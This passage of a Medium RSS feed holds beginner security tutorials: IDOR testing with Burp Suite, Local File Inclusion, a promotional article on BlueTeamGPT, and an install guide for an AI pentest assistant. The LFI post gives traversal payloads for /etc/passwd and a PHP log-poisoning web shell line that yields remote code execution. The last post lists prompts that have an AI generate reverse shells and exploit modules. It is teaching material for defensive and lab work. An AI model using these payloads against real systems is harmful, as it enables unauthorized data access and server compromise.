exceptions:</p><pre>except FileNotFoundError:<br>except ValueError:</pre><p>This helps you understand <strong>what exactly went wrong</strong> and fix it.</p><h3>✍️ Practice Tasks</h3><p>Try writing small scripts that:</p><ol><li><strong>Open a file</strong> that may or may not exist</li><li><strong>Convert a list of strings to integers</strong>, but handle any ValueError</li><li><strong>Parse lines in a log</strong> — skip or warn if the line is None or broken</li><li><strong>Ask for user input</strong> (e.g., IP address or username), and handle if the input is empty or invalid</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4953162abee2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[️‍♂️ IDOR Attack for Beginners — Using Burp Suite to Access Hidden Data]]></title>
            <link>https://medium.com/@cybersecprof/%EF%B8%8F-%EF%B8%8F-idor-attack-for-beginners-using-burp-suite-to-access-hidden-data-df2076143740?source=rss-6890a37eb47d------2</link>
            <guid isPermaLink="false">https://medium.com/p/df2076143740</guid>
            <category><![CDATA[idor-vulnerability]]></category>
            <category><![CDATA[vulnerability-assessment]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[web-application-security]]></category>
            <dc:creator><![CDATA[Mohammed Gabic]]></dc:creator>
            <pubDate>Fri, 11 Jul 2025 14:05:23 GMT</pubDate>
            <atom:updated>2025-07-11T14:05:23.138Z</atom:updated>
            <content:encoded><![CDATA[<h3>🕵️‍♂️ IDOR Attack for Beginners — Using Burp Suite to Access Hidden Data</h3><figure><img alt="IDOR (Insecure Direct Object Reference) is one of the most common and dangerous logic flaws in web applications. It happens when an app gives access to data just because the user knows (or guesses) an ID or reference — without checking if they’re allowed to see it. Let’s break it down in simple terms, and walk through how to find and test for IDOR using Burp Suite." src="https://cdn-images-1.medium.com/max/1024/1*MouuFY-5XEzPuVC_FDnN5Q.png" /></figure><p><strong>By Onyeagusi Joseph Ekene | Cyber security Expert | Web application penetration tester</strong></p><p><strong>IDOR (Insecure Direct Object Reference)</strong> is one of the <strong>most common and dangerous logic flaws</strong> in web applications. It happens when an app gives access to data <strong>just because the user knows (or guesses) an ID or reference</strong> — without checking if they’re allowed to see it.</p><p>Let’s break it down in simple terms, and walk through how to find and test for IDOR using <strong>Burp Suite</strong>.</p><h3>💡 What is IDOR?</h3><p><strong>Insecure Direct Object Reference</strong> means that an attacker can change a value (like a user ID or file name) in a request to access <strong>data they shouldn’t be allowed to see</strong>.</p><p>It often appears in:</p><ul><li>Account/profile pages</li><li>File downloads</li><li>Order/invoice systems</li><li>Admin-only resources</li></ul><h3>🧪 Simple IDOR Example</h3><h3>Imagine this request:</h3><pre>GET /user/profile?id=123 HTTP/1.1<br>Host: example.com<br>Cookie: session=abc123</pre><p>This shows <strong>your</strong> profile because your user ID is 123.</p><p>But what happens if you change id=123 to id=124?</p><pre>GET /user/profile?id=124</pre><p>➡️ If the server shows <strong>someone else’s profile</strong>, <strong>IDOR is confirmed</strong>!</p><h3>🛠 How to Find IDOR Using Burp Suite — Step by Step</h3><h3>✅ Step 1: Capture the Request</h3><ol><li>Open <strong>Burp Suite</strong> and make sure <strong>Intercept</strong> is on.</li><li>Log into the application and go to a page like <strong>“My Profile”</strong>, <strong>“My Orders”</strong>, or <strong>“Invoices”</strong>.</li><li>Burp will capture the request. <strong>Send it to Repeater</strong> (Right-click → “Send to Repeater”).</li></ol><h3>✅ Step 2: Look for User-Controllable IDs</h3><p>In Repeater, look for:</p><ul><li>user_id=123</li><li>account=456</li><li>order_id=789</li><li>filename=report123.pdf</li><li>URLs like /documents/2022/invoice_55.pdf</li></ul><p>These are all <strong>potential IDOR targets</strong>.</p><h3>✅ Step 3: Modify the ID</h3><p>Change the ID in the request to another number:</p><pre>GET /user/profile?id=124</pre><p>Click <strong>Send</strong>, and check the response.</p><p>If you now see <strong>someone else’s data</strong>, the app is <strong>not checking permissions properly</strong>, and you’ve found an <strong>IDOR</strong>!</p><h3>🔥 Real-World IDOR Example</h3><h3>Original:</h3><pre>GET /api/orders/1198<br>Authorization: Bearer &lt;your_token&gt;</pre><h3>Modified:</h3><pre>GET /api/orders/1199</pre><p>➡️ If you can see someone else’s order — that’s <strong>IDOR</strong>.</p><h3>👀 Other Places to Look for IDOR</h3><ul><li>Changing <strong>POST body parameters</strong>:</li></ul><pre>{ &quot;user_id&quot;: &quot;123&quot; }</pre><ul><li>Upload or download endpoints:</li></ul><pre>/uploads/report_123.pdf</pre><ul><li>Password reset links:</li></ul><pre>/reset-password?token=ABC123</pre><h3>🧱 How Developers Should Prevent IDOR</h3><ul><li>✅ Use access control checks on the <strong>server side</strong></li><li>❌ Never trust hidden fields, URLs, or client-side code to protect data</li><li>✅ Use session-based identification (e.g., “show user their own data”)</li><li>✅ Log and monitor unexpected access attempts</li></ul><h3>🧰 Tools That Help with IDOR Testing</h3><ul><li><strong>Burp Suite Repeater</strong> — Perfect for manually changing IDs</li><li><strong>Burp Suite Intruder</strong> — To test lots of IDs in sequence</li><li><strong>Autorize extension (Burp)</strong> — Automatically checks for authorization flaws</li><li><strong>Param Miner extension (Burp)</strong> — Helps find hidden parameters</li></ul><h3>✅ Summary Table</h3><p>Term Explanation IDOR Insecure Direct Object Reference Risk High — Leaks user data, internal files, or admin access Where to look User IDs, order numbers, file names, URLs, API calls Tool to use Burp Suite (Proxy + Repeater)</p><h3>🔐 Real-World Risks of IDOR</h3><ul><li>🕵️‍♂️ Steal other users’ personal data</li><li>📦 View or cancel someone else’s order</li><li>📄 Download private or confidential documents</li><li>⚙️ Gain admin-level functionality</li></ul><h3>🧪 Want to Practice?</h3><p>Here are some safe places to practice IDOR attacks:</p><ul><li><a href="https://portswigger.net/web-security/access-control/idor">PortSwigger Web Security Academy — IDOR Lab</a></li><li><a href="https://tryhackme.com/room/idor">TryHackMe — IDOR Room</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop</a></li></ul><h3>📌 Final Thoughts</h3><p>IDOR is often <strong>easy to find</strong> but <strong>can be massively impactful</strong>. With Burp Suite and a bit of curiosity, you can uncover serious flaws — even in big-name applications.</p><p>As a pentester or bug bounty hunter, always look for:</p><p>🔁 Repeated patterns (user IDs, order numbers)<br> 🕳 Lack of authorization checks<br> 👀 Predictable file or URL structures</p><p>Want a <strong>Burp Suite Intruder template</strong>, <strong>IDOR checklist</strong>, or a downloadable cheat sheet? Just let me know — I’m here to help you learn the fun (and ethical) side of hacking. 🔐💻</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df2076143740" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Local File Inclusion (LFI) for Beginners — Using Burp Suite to Hack Like a Pro]]></title>
            <link>https://medium.com/@cybersecprof/local-file-inclusion-lfi-for-beginners-using-burp-suite-to-hack-like-a-pro-fabd851a26da?source=rss-6890a37eb47d------2</link>
            <guid isPermaLink="false">https://medium.com/p/fabd851a26da</guid>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Mohammed Gabic]]></dc:creator>
            <pubDate>Fri, 11 Jul 2025 13:59:04 GMT</pubDate>
            <atom:updated>2025-07-11T13:59:04.118Z</atom:updated>
            <content:encoded><![CDATA[<h3>📂 Local File Inclusion (LFI) for Beginners — Using Burp Suite to Hack Like a Pro</h3><figure><img alt="Local File Inclusion (LFI) is a type of web vulnerability that lets an attacker read files from a web server — even sensitive ones like /etc/passwd or configuration files. Using Burp Suite, we can easily detect and exploit LFI vulnerabilities during a penetration test. Let’s walk through it step by step!" src="https://cdn-images-1.medium.com/max/831/1*qa125o2mhexLCajXbF3DbQ.png" /></figure><p><strong>By Onyeagusi Joseph Ekene | Cyber security professional</strong></p><p><strong>Local File Inclusion (LFI)</strong> is a type of web vulnerability that lets an attacker read files from a web server — even sensitive ones like /etc/passwd or configuration files.</p><p>Using <strong>Burp Suite</strong>, we can easily detect and exploit LFI vulnerabilities during a penetration test.</p><p>Let’s walk through it step by step!</p><h3>💡 What is LFI?</h3><p><strong>LFI (Local File Inclusion)</strong> happens when a web application loads files based on user input — but doesn’t properly check or clean what the user is requesting.</p><p>This allows attackers to include <strong>local server files</strong> in the response, often exposing:</p><ul><li>🧾 Configuration files</li><li>🔐 Passwords or keys</li><li>🧑‍💻 Source code</li><li>🖥 System information</li></ul><h3>🎯 Real-World Example: Vulnerable Parameter</h3><p>Suppose this URL is part of a site:</p><pre>http://example.com/page.php?page=home</pre><p>And the server-side code looks like:</p><pre>include($_GET[&#39;page&#39;] . &quot;.php&quot;);</pre><p>If we change the page parameter to a file path, we might be able to <strong>read system files</strong>.</p><h3>🛠 LFI Attack with Burp Suite — Step-by-Step</h3><h3>✅ Step 1: Intercept the Request</h3><ol><li>Open <strong>Burp Suite</strong> and enable <strong>Intercept</strong> in the <strong>Proxy</strong> tab.</li><li>Visit the target page in your browser:</li></ol><pre>http://example.com/page.php?page=home</pre><p>3. Burp will capture the request. Send it to <strong>Repeater</strong> (Right-click &gt; “Send to Repeater”).</p><h3>✅ Step 2: Modify the Parameter</h3><p>In <strong>Repeater</strong>, change the page parameter to attempt LFI payloads.</p><p>Start with:</p><pre>?page=../../../../etc/passwd</pre><p>Click <strong>Send</strong> and check the response.</p><h4>🔍 What you’re looking for:</h4><p>If you see a response like:</p><pre>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin</pre><p>➡️ Boom! LFI is confirmed.</p><h3>✅ Step 3: Try More Payloads</h3><p>Some useful test paths:</p><pre>../../../../etc/passwd<br>../../../../etc/hosts<br>../../../../var/log/apache2/access.log</pre><p>You may need more ../ depending on the server&#39;s file structure. Tools like <strong>LFI-Fuzz</strong> or <strong>ffuf</strong> can automate this.</p><h3>🚀 Bonus: Log Poisoning (LFI to RCE)</h3><p>If you can find a writable log file (like access.log), you can turn LFI into <strong>Remote Code Execution (RCE)</strong>.</p><h3>How?</h3><ol><li>Make a request to the site with <strong>malicious code in your User-Agent</strong>:</li></ol><pre>User-Agent: &lt;?php system($_GET[&#39;cmd&#39;]); ?&gt;</pre><p>2. Then include the log file via LFI:</p><pre>?page=../../../../var/log/apache2/access.log&amp;cmd=whoami</pre><p>3. If successful, the server runs your code.</p><p>⚠️ <strong>Only try this in legal, safe environments!</strong></p><h3>📂 Windows LFI Paths</h3><p>On Windows targets, try:</p><pre>C:\Windows\win.ini  <br>C:\boot.ini  <br>C:\xampp\apache\logs\access.log</pre><h3>🧰 Tools That Help with LFI</h3><ul><li><strong>Burp Suite</strong> — Manual testing and payload tuning</li><li><strong>ffuf / dirsearch</strong> — Brute force for file names or paths</li><li><strong>LFI Suite</strong> — Automates discovery and exploitation</li><li><strong>SecLists</strong> — Great for LFI wordlists (/Payloads/Directory-Traversal/)</li></ul><h3>🛡 How to Prevent LFI</h3><ul><li>✅ Use a <strong>whitelist</strong> of allowed files or IDs, not direct paths</li><li>❌ Never include files based on user input directly</li><li>🚫 Disable unnecessary PHP functions like include, require if not needed</li><li>🧱 Use web server restrictions (like open_basedir in PHP)</li></ul><h3>✅ Summary Table</h3><p>What It Is LFI (Local File Inclusion) Impact Read sensitive files from the web server Tools Used Burp Suite, browser, ffuf, curl Exploit Target include, require, or file-loading functions Danger Level ⚠️ High (Can lead to data leaks or RCE)</p><h3>🧪 Want to Practice?</h3><p>Try these hands-on labs to practice LFI safely:</p><ul><li><a href="https://portswigger.net/web-security/file-path-traversal">PortSwigger Web Security Academy — File Path Traversal</a></li><li><a href="https://tryhackme.com/">TryHackMe — LFI Room</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop</a></li></ul><h3>🔚 Final Thoughts</h3><p>LFI is often overlooked, but it can lead to full system compromise if chained with other vulnerabilities like file upload or log poisoning. Burp Suite is your best friend for finding, testing, and refining these attacks.</p><p>If you’re new to hacking — start with LFI. It teaches you how servers store files, how paths work, and how user input can break everything.</p><p>Want a <strong>LFI cheat sheet</strong>, wordlist, or a lab to try this out? Let me know — I’ll help you get started safely. 💻🔓</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fabd851a26da" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[️ BlueTeamGPT: The AI Defender Revolutionizing Blue Team Operations]]></title>
            <link>https://medium.com/@cybersecprof/%EF%B8%8F-blueteamgpt-the-ai-defender-revolutionizing-blue-team-operations-1838bcb65c04?source=rss-6890a37eb47d------2</link>
            <guid isPermaLink="false">https://medium.com/p/1838bcb65c04</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Mohammed Gabic]]></dc:creator>
            <pubDate>Fri, 11 Jul 2025 11:54:07 GMT</pubDate>
            <atom:updated>2025-07-11T11:55:38.847Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="What Is BlueTeamGPT? BlueTeamGPT is a Large Language Model (LLM)–powered assistant built specifically for defensive cybersecurity teams. It’s trained on threat intelligence feeds, response playbooks, and the MITRE ATT&amp;CK framework. Through a conversational interface, it helps analysts triage alerts, correlate logs, and generate expert response recommendations instantly (Medium)" src="https://cdn-images-1.medium.com/max/1024/1*RXoe5QmHeWkYst-1fypeJg.jpeg" /></figure><p>By Onyeagusi Joseph Ekene. — Penetration tester | Cyber security Analyst | Devsecops.</p><p>As seasoned ethical hackers and defenders, we know the challenges SOCs face: alert overload, blind spots in log analysis, and scarce expert talent. That’s where <strong>BlueTeamGPT</strong> steps in — an AI co-pilot fine-tuned for blue‑team excellence.</p><h3>What Is BlueTeamGPT?</h3><p>BlueTeamGPT is a Large Language Model (LLM)–powered assistant built specifically for defensive cybersecurity teams. It’s trained on threat intelligence feeds, response playbooks, and the MITRE ATT&amp;CK framework. Through a conversational interface, it helps analysts triage alerts, correlate logs, and generate expert response recommendations instantly (<a href="https://medium.com/%40Ekenejoseph/blueteamgpt-the-ai-defender-every-security-team-needs-77389b061f10?utm_source=chatgpt.com">Medium</a>).</p><h3>🚨 Key Features That Matter to Ethical Hackers &amp; Blue Teamers</h3><h4>1. Alert Contextualization &amp; Prioritization</h4><p>Say goodbye to triaging endless low-value alerts. BlueTeamGPT analyzes SIEM outputs, filters false positives, and highlights high-risk incidents — guided by MITRE techniques — saving analysts from fatigue and burnout (<a href="https://medium.com/%40Ekenejoseph/blueteamgpt-the-ai-defender-every-security-team-needs-77389b061f10?utm_source=chatgpt.com">Medium</a>).</p><h4>2. Automated Log &amp; Forensic Analysis</h4><p>Whether it’s Windows Event Logs, firewall logs, or endpoint data, BlueTeamGPT parses raw logs and assists in identifying lateral movement, suspicious behavior, and root causes. It even generates memory or disk forensic steps when needed (<a href="https://medium.com/%40Ekenejoseph/blueteamgpt-the-ai-defender-every-security-team-needs-77389b061f10?utm_source=chatgpt.com">Medium</a>).</p><h4>3. Threat Intelligence Correlation</h4><p>Feeds from intel are mapped to threat actors and campaigns. The AI correlates IOCs, suggests containment actions, and logs response workflows for future reference (<a href="https://medium.com/%40Ekenejoseph/blueteamgpt-the-ai-defender-every-security-team-needs-77389b061f10?utm_source=chatgpt.com">Medium</a>).</p><h4>4. Incident Response Playbook Creation</h4><p>When a phishing campaign or ransomware event triggers, BlueTeamGPT generates detailed, actionable IR playbooks customized to your environment and threat type (<a href="https://medium.com/%40Ekenejoseph/blueteamgpt-the-ai-defender-every-security-team-needs-77389b061f10?utm_source=chatgpt.com">Medium</a>).</p><h4>5. Junior Analyst Mentorship</h4><p>Junior analysts can ask conversational questions — like “How do I investigate PowerShell obfuscation?” — and receive step-by-step walkthroughs. BlueTeamGPT enables embedded peer coaching within SOC workflow (<a href="https://medium.com/%40Ekenejoseph/blueteamgpt-the-ai-defender-every-security-team-needs-77389b061f10?utm_source=chatgpt.com">Medium</a>).</p><h3>🔍 BlueTeamGPT in Action: Real-World Scenarios</h3><ul><li><strong>Phishing Triage</strong>: Automatically scans email headers and attachments, identifies spoofed domains, and recommends containment steps.</li><li><strong>Lateral Movement Alerts</strong>: Analyzes suspicious RDP or authentication patterns, maps actions to MITRE techniques, and suggests host isolation or credential rotation.</li><li><strong>Zero-Day Investigation</strong>: Maps newly published CVEs to tactics, indicators, and internal logs to validate exploitation activity.</li><li><strong>Threat Hunting Automation</strong>: Generates hunt queries from recent IOCs and scales cloud-wide threat discovery campaigns.</li><li><strong>Insider-Threat Detection</strong>: Evaluates anomalous file access and behavioral spikes, recommending forensic steps and follow-up action plans (<a href="https://medium.com/%40Ekenejoseph/blueteamgpt-the-ai-defender-every-security-team-needs-77389b061f10?utm_source=chatgpt.com">Medium</a>).</li></ul><h3>🔧 BlueTeamGPT from an Ethical Hacker’s POV</h3><p>As someone who’s performed thousands of pentests and simulated attacks, BlueTeamGPT is precisely the kind of tool we’d love on the defense side. Its AI‑driven log parsing and attack mapping capabilities help Blue Teams detect gaps that even well-crafted red team simulations might expose.</p><p>When we deploy simulated phishing, lateral movement, or ransomware attacks, BlueTeamGPT’s real-time analysis helps the SOC respond faster and more accurately than manual procedures alone — without missing the deeper forensic context.</p><h3>✅ Why Blue Teamers and SOCs Should Adopt BlueTeamGPT</h3><ul><li><strong>Accelerated incident detection and response</strong> thanks to real-time AI assistance.</li><li><strong>Better use of manpower</strong> — junior analysts gain confidence, freeing senior staff for escalation-level work.</li><li><strong>Reduced error rates</strong> by lifting guardrails through a structured AI-guided workflow.</li><li><strong>Knowledge retention</strong> within the tool across onboarding cycles and team turnover.</li></ul><h3>🔐 Complementary Security Features: Visibility, Governance &amp; DLP</h3><p><strong>BlueTeam AI</strong>, the platform behind BlueTeamGPT, integrates powerful enterprise-grade features beyond incident response:</p><ul><li><strong>Full visibility into “Shadow AI”</strong>: Monitor unauthorized or rogue AI systems in your environment (<a href="https://medium.com/meetcyber/blueteamgpt-the-ai-defender-every-security-team-needs-b920a5f56237?utm_source=chatgpt.com">Medium</a>, <a href="https://www.reddit.com/r/SecurityBlueTeam/comments/hf1j1n?utm_source=chatgpt.com">Reddit</a>, <a href="https://blueteam.ai/docs/introduction/what_is_blueteam/?utm_source=chatgpt.com">blueteam.ai</a>).</li><li><strong>Enterprise Data Loss Prevention (DLP)</strong>: Set policies to detect and redact — or encrypt — PII (credit cards, SSNs, locations, IPs) in both model inputs and outputs. Alerts can integrate directly with SIEM/SOC systems (<a href="https://blueteam.ai/blog/defy-ai-security-breaches/?utm_source=chatgpt.com">blueteam.ai</a>).</li><li><strong>Content Moderation &amp; Rate Limiting</strong>: Prevent policy violations and abuse of AI prompt engines, alert SOC teams, and block toxic or malicious content proactively (<a href="https://blueteam.ai/blog/defy-ai-security-breaches/?utm_source=chatgpt.com">blueteam.ai</a>).</li></ul><h3>🧩 Getting Started: Practical Tips for Ethical Hackers &amp; Blue Teams</h3><ol><li><strong>Pilot deployment in a SOC sandbox</strong>: Feed SIEM logs and test BlueTeamGPT’s alert parsing and playbook generation.</li><li><strong>Map blind spot coverage</strong>: Compare its incident workflow suggestions to known gaps uncovered during red team tests.</li><li><strong>Customize threat modelling</strong>: Train BlueTeamGPT on your organization’s preferred frameworks and threat actor profiles.</li><li><strong>Feed security policies into DLP rules</strong>: Use enterprise AI governance features to anonymize or block sensitive data during prompt flows.</li><li><strong>Enable alert forwarding</strong>: Push policy violations or suspicious prompts into your SIEM or ticketing system for review.</li></ol><h3>🧠 Final Words</h3><p>BlueTeamGPT isn’t hype — it’s a professional-level assistant designed for real-world blue team challenges. As ethical hackers, we recognize that streamlined detection, higher fidelity analysis, and smart automation are key. BlueTeamGPT meets those needs — and raises the bar.</p><p>Whether you’re ramping up SOC capabilities or maturing incident response workflows, BlueTeamGPT offers measurable advantages in speed, skill development, and knowledge retention.</p><blockquote><strong><em>About the Author</em></strong><em>: Onyeagusi Joseph Ekene is a cyber security expert with over a decade of experience in red- and blue-team operations, penetration testing, and SOC maturity engagements. I’ve deployed and bypassed countless defenses — and can confirm: the future of blue teaming is powered by AI.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1838bcb65c04" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ How to Install and Use PutraGPT.pentest: A Guide for Cyber security and penetration testing]]></title>
            <link>https://medium.com/@cybersecprof/how-to-install-and-use-putragpt-pentest-a-guide-for-cyber-security-and-penetration-testing-7d31a63c2c57?source=rss-6890a37eb47d------2</link>
            <guid isPermaLink="false">https://medium.com/p/7d31a63c2c57</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking-training]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Mohammed Gabic]]></dc:creator>
            <pubDate>Sat, 05 Jul 2025 10:28:36 GMT</pubDate>
            <atom:updated>2025-07-05T10:28:36.661Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="One of the most promising tools leading this shift is PutraGPT.pentest, an AI-driven pentest assistant designed to simplify and automate complex hacking tasks using GPT-powered intelligence." src="https://cdn-images-1.medium.com/max/900/1*RHoHmjNsPmJ2DPsrZh5EIA.jpeg" /></figure><p><strong>By Ekene Joseph | Cyber security consultant | Udemy instructor</strong></p><p>Artificial intelligence is no longer just a buzzword in cybersecurity — it’s becoming a <strong>core weapon</strong> in the ethical hacker’s toolkit. One of the most promising tools leading this shift is <strong>PutraGPT.pentest</strong>, an AI-driven pentest assistant designed to simplify and automate complex hacking tasks using GPT-powered intelligence.</p><p>In this step-by-step guide, we’ll cover:</p><ul><li>✅ What you need to run PutraGPT.pentest</li><li>🛠️ How to install it</li><li>💡 How to use it for real-world penetration testing tasks</li></ul><p>Let’s get started.</p><h3>🔧 Prerequisites</h3><p>Before you install <strong>PutraGPT.pentest</strong>, make sure your system meets these basic requirements:</p><h3>✅ System Requirements:</h3><ul><li>OS: Linux (Kali Linux or Ubuntu recommended)</li><li>Python 3.8+</li><li>Git</li><li>Virtual environment tool (virtualenv)</li><li>Internet connection (for model access or API calls)</li><li>OpenAI API key (or local LLM setup if offline mode is supported)</li></ul><blockquote><em>💡 </em><strong><em>Tip:</em></strong><em> Running this in a VM or isolated lab is ideal for testing safely.</em></blockquote><h3>📥 Step 1: Clone the Repository</h3><pre>git clone https://github.com/putragpt/putragpt.pentest.git<br>cd putragpt.pentest</pre><p>If the repo is private or hosted elsewhere (like GitLab), be sure you have access credentials.</p><h3>🧱 Step 2: Set Up the Virtual Environment</h3><pre>python3 -m venv venv<br>source venv/bin/activate</pre><p>Then, install dependencies:</p><pre>pip install -r requirements.txt</pre><blockquote><em>🔐 </em><strong><em>Security Note:</em></strong><em> Always inspect </em><em>requirements.txt for suspicious packages before running in production.</em></blockquote><h3>🔑 Step 3: Configure API Keys</h3><p>Edit the .env or config.yaml file:</p><pre>OPENAI_API_KEY=your_openai_api_key_here</pre><p>If PutraGPT supports local LLMs (like <strong>llama.cpp</strong>, <strong>Mistral</strong>, or <strong>GPT4All</strong>), configure model paths accordingly:</p><pre>model_type: &quot;local&quot;<br>model_path: &quot;/models/mistral-7b.Q4_K_M.gguf&quot;</pre><h3>🚀 Step 4: Launch PutraGPT.pentest</h3><p>To run the AI assistant:</p><pre>python run.py</pre><p>Depending on the setup, this may launch:</p><ul><li>A <strong>CLI interface</strong> (&gt;&gt;) where you can type commands like:</li><li>&gt;&gt; scan this host: 10.10.10.10 &gt;&gt; test for xss on <a href="http://example.com/">http://example.com</a></li><li>Or a <strong>web UI</strong> (usually at http://localhost:7860 or similar)</li></ul><h3>🧠 How to Use PutraGPT.pentest</h3><p>Here are some real-world use cases and prompts you can try:</p><h3>🔍 Reconnaissance</h3><pre>&gt;&gt; perform nmap scan on 192.168.1.1/24<br>&gt;&gt; enumerate subdomains for example.com</pre><h3>🛡️ Vulnerability Discovery</h3><pre>&gt;&gt; test for SQLi on http://target.com/login<br>&gt;&gt; detect XSS vulnerabilities on example.com/contact</pre><h3>🧬 Exploit Generation</h3><pre>&gt;&gt; generate reverse shell payload in Python for Linux<br>&gt;&gt; write metasploit module for discovered CVE-2023-12345</pre><h3>📄 Reporting</h3><pre>&gt;&gt; generate vulnerability report from today&#39;s session<br>&gt;&gt; list exploited endpoints with impact ratings</pre><h3>📚 Bonus Tips</h3><ul><li>Use <strong>Burp Suite + PutraGPT</strong> for hybrid testing (many versions support plugin mode).</li><li>Integrate with <strong>C2 frameworks</strong> like Mythic or Cobalt Strike (via script generation).</li><li>Schedule pentests using CRON + predefined PutraGPT scripts.</li></ul><h3>⚠️ Ethical Reminder</h3><p>PutraGPT.pentest is a powerful tool — but with great power comes great responsibility. Only use it:</p><ul><li>On systems you <strong>own or are authorized to test</strong></li><li>In <strong>controlled environments</strong> with explicit permission</li><li>In accordance with <strong>local laws</strong> and <strong>ethical guidelines</strong></li></ul><p>Abuse of AI tools damages the cybersecurity community and undermines trust.</p><h3>🎯 Final Thoughts</h3><p>Installing and using <strong>PutraGPT.pentest</strong> takes just a few steps — but the capabilities it unlocks are vast. Whether you’re a seasoned red teamer or a newcomer to ethical hacking, this tool can significantly accelerate your workflow and deepen your analysis.</p><p>As AI continues to evolve, staying ahead means embracing tools like PutraGPT.pentest — securely, ethically, and intelligently.</p><p><strong>Have questions or cool use cases? Drop them in the comments! Let’s build the future of cybersecurity — together.</strong></p><p><strong>Tags:</strong> #PutraGPT #PenetrationTesting #CyberSecurity #AIinSecurity #RedTeam #EthicalHacking #GPTTools #InfoSec #AI #HackingTools</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7d31a63c2c57" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>